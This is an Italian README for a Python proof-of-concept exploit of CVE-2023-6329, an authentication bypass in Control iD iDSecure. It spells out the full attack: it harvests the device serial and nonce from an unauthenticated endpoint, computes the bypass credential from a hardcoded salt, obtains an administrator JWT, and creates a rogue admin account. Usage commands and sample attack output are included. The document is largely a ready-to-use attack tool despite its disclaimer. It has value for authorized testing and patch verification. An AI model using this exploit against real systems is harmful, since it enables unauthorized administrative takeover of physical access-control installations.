
CVE-2023-6329 – PoC di bypass dell'autenticazione per Control iD iDSecure ≤ 4.7.43.0
Uno proof-of-concept in Python per CVE-2023-6329, una vulnerabilità di controllo degli accessi improprio in Control iD iDSecure versioni 4.7.43.0 e precedenti. La falla consente a un attaccante remoto non autenticato di ricostruire credenziali di accesso valide sfruttando un algoritmo di derivazione delle password prevedibile che si basa interamente su valori pubblicamente accessibili: un numero di serie del dispositivo, un nonce fornito dal server e un salt hardcoded. Una volta autenticato, l'attaccante può creare un nuovo utente amministrativo sull'interfaccia web.
Convertito in Python sulla base del modulo Metasploit originale di Michael Heinzl. La vulnerabilità originale è stata scoperta e divulgata da Tenable.
Disclaimer: Questo strumento è fornito esclusivamente a scopo didattico e per test di sicurezza autorizzati. L'autore non si assume alcuna responsabilità per un uso improprio. Eseguirlo solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta.
Il processo di login in iDS-Core.dll espone un percorso di autenticazione alternativo tramite un parametro passwordCustom. Il valore di questo parametro viene derivato utilizzando un algoritmo prevedibile che prende il numero di serie del dispositivo (recuperabile pubblicamente senza autenticazione) e lo combina con un nonce fornito dal chiamante e una stringa salt hardcoded (cid2016). Poiché ogni ingrediente del calcolo è controllabile dall'attaccante o liberamente ottenibile, qualsiasi attaccante remoto può calcolare un valore passwordCustom valido e accedere come amministratore.
Dopo un'autenticazione riuscita tramite questo percorso, il server reimposta la password dell'account admin a admin oppure crea tale account se non esiste già.
L'exploit segue cinque passaggi:
1. Controllo della versione — L'endpoint /api/util/configUI restituisce una risposta 401 contenente la versione del software, confermando se il target esegue una build vulnerabile.
2. Recupero dei dati di sblocco — Una richiesta GET a /api/login/unlockGetData restituisce il numero di serie serial del dispositivo e un nonce passwordRandom. Questo endpoint non richiede autenticazione.
3. Calcolo di passwordCustom — Per derivare la credenziale di bypass viene applicato il seguente algoritmo:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # first 6 hex chars → decimal
4. Autenticazione e ottenimento di un JWT — Il passwordCustom e il passwordRandom calcolati vengono inviati tramite POST a /api/login/, che restituisce un JWT accessToken valido con privilegi di amministratore.
5. Creazione di un nuovo utente admin — Il JWT viene utilizzato per inviare una POST a /api/operator/ e registrare un nuovo account operatore con idType: 1 (ruolo amministratore).
requestsgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <TARGET_IP> [options]
Utilizzo base contro un target sulla porta predefinita:
python3 exploit.py --host 192.168.1.100
Specificare credenziali personalizzate per il nuovo account admin:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
Target in esecuzione su una porta non standard senza SSL:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| Campo | Dettagli |
|---|
| ID CVE | CVE-2023-6329 |
| Prodotto interessato | Control iD iDSecure |
| Versioni interessate | ≤ 4.7.43.0 |
| Tipo di vulnerabilità | Controllo degli accessi improprio (CWE-284) |
| Vettore di attacco | Rete (non autenticato) |
| Data di divulgazione | 27 novembre 2023 |
| Scoperta da | Tenable |
| Parametro | Predefinito | Descrizione |
|---|
--host | (obbligatorio) | Indirizzo IP o hostname del target |
--port | 30443 | Porta del target |
--username | pwned_admin | Nome utente per il nuovo account admin |
--password | Pwned1234! | Password per il nuovo account admin |
--no-ssl | False | Disabilita HTTPS (usa HTTP semplice) |